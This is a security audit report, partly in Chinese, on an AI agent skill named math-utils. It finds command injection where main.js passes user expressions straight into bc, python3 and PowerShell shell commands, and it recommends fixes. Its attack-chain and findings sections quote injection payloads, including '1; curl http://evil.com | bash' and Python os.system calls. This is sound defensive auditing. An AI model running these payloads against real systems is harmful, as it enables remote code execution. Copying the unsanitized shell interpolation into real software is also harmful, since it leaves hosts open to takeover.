安全决策报告
math-utils (Native CLI Edition)
The skill uses declared shell execution for math calculation via CLI tools (bc, python3, PowerShell) but contains a command injection vulnerability where unsanitized user input is interpolated directly into shell strings — a risk the skill-card.md partially acknowledges.
为什么得出这个结论
1/4 个维度触发 通过
声明与实际能力
声明资源与推断能力基本一致。
复核
隐藏执行与外联
提取到 2 个一般风险产物，需要结合上下文判断。
阻止
攻击链与高危发现
报告包含 4 步攻击链，另有 2 项高危或严重发现。
通过
依赖与供应链卫生
依赖结构存在，但暂未看到明显高危告警。
攻击链
01
Attacker provides a malicious expression (e.g., `1; curl http://evil.com | bash`) as input to the calculate() function
初始入口 · main.js:19
02
Expression is directly interpolated into the shell command string without sanitization, escaping the calculator context
权限提升 · main.js:19
03
Arbitrary shell commands execute on the host with the skill's user permissions (RCE)
最终危害 · main.js:19
04
On the python3 fallback path, Python code execution is achieved via expression injection into python3 -c
最终危害 · main.js:22
风险分是怎么被拉高的
Command injection risk +20
User-supplied expression is directly interpolated into execSync shell strings (e.g., `echo "scale=10; ${expression}" | bc`). No input validation; malicious expressions like `1; curl http://evil.com | bash` can escape the calculator.
Undeclared shell:WRITE capability +5
SKILL.md describes CLI usage but does not explicitly list 'shell' as a required permission resource, making it easy to under-estimate the privilege level.
Partial risk disclosure +5
skill-card.md does mention the injection risk and command execution risk, but the risk is presented as inherent to the design rather than mitigated by input validation in code.
最关键的证据
高危 代码执行
Command injection via unsanitized expression input
The calculate() function interpolates user-provided expression strings directly into shell commands without any validation. An attacker can inject arbitrary shell commands. On the bc path, expressions like `1; curl http://evil.com | bash` succeed via the pipe. On the python3 path, expressions like `__import__('os').system('curl http://evil.com | bash')` execute arbitrary Python code.
main.js:19 Validate input with a strict regex allowlist (e.g., /^[0-9+\-*/().%^\s]+$/) before any shell interpolation. Reject or escape any expression containing letters, quotes, backticks, semicolons, or shell metacharacters.
高危 代码执行
Arbitrary Python code execution on bc fallback
The python3 fallback path `python3 -c "print(${expression})"` allows arbitrary Python execution. Expressions like `__import__('os').system('id')` or `__import__('subprocess').run(['curl','http://evil.com'],shell=True)` will execute with the skill's user permissions.
main.js:22 Remove the python3 fallback or replace it with a pure-math library (e.g., mathjs) that evaluates arithmetic without shell access.
中危 文档欺骗
Shell:WRITE capability not explicitly declared in SKILL.md
SKILL.md describes 'Native Tool Selection' and 'Execution' but never explicitly lists 'shell' or 'shell:WRITE' among the skill's required resources. skill-card.md mentions 'executes local command-line tools' as a risk but the declared permissions table (if any) does not show shell access, making it easy to approve this skill underestimating its true privilege level.
SKILL.md:1 Add an explicit 'Required Permissions' or 'allowed-tools' section to SKILL.md listing shell:WRITE or Bash for this skill.
低危 敏感访问
Broad shell access without sandboxing
execSync runs with the full permissions of the Node.js process. There is no chroot, seccomp, or containerization. The skill has access to the entire filesystem, all environment variables, and all OS capabilities available to its user.
main.js:14 If shell access is truly required, consider wrapping execution in a sandboxed subprocess with minimal UID/GID permissions.
声明能力 vs 实际能力
命令执行 通过
声明 NONE
→ 推断 WRITE
main.js:19 — execSync(`echo "scale=10; ${expression}" | bc`) 命令执行 通过
声明 NONE
→ 推断 WRITE
main.js:22 — execSync(`python3 -c "print(${expression})"`) 命令执行 通过
声明 NONE
→ 推断 WRITE
main.js:26 — execSync(`powershell "[Math]::Evaluate('${expression}')"`) 可疑产物与外联
中危 外部 URL
https://clawhub.ai/user/johnnyhou327 skill-card.md:7
中危 外部 URL
https://clawhub.ai/johnnyhou327/math-utils-native skill-card.md:27
依赖与供应链
| 包名 | 版本 | 来源 | 漏洞 | 备注 |
|---|---|---|---|---|
| os (stdlib) | bundled | Node.js standard library | 否 | No external dependencies — only built-in modules |
| child_process (stdlib) | bundled | Node.js standard library | 否 | No external dependencies — only built-in modules |
文件构成
4 个文件 · 111 行
Markdown 2 个文件 · 59 行JavaScript 1 个文件 · 47 行JSON 1 个文件 · 5 行
需关注文件 · 3
skill-card.md https://clawhub.ai/user/johnnyhou327 · https://clawhub.ai/johnnyhou327/math-utils-native
main.js Command injection via unsanitized expression input · Arbitrary Python code execution on bc fallback · Broad shell access without sandboxing
SKILL.md Shell:WRITE capability not explicitly declared in SKILL.md
其他文件 · _meta.json
安全亮点
SKILL.md accurately describes the core behavior (CLI-based math calculation via bc/python3/PowerShell)
skill-card.md explicitly documents the command injection risk and shell execution risk as known dangers
No network requests, credential access, or data exfiltration code present
No obfuscation, base64-encoded payloads, or hidden instructions
No supply chain risks — only depends on built-in Node.js 'os' and 'child_process' modules (no external packages)